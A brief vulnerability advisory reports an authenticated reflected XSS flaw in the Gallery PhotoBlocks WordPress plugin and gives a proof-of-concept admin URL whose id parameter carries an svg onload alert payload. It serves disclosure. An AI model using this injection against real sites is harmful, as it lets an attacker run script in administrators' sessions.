The Gallery PhotoBlocks WordPress plugin was affected by an Authenticated Reflected XSS security vulnerability.
When logged in with an account with administrator capabilities: https://<BLOG>/wp-admin/admin.php?page=photoblocks-edit&id="><svg/onload=alert(/XSS/)>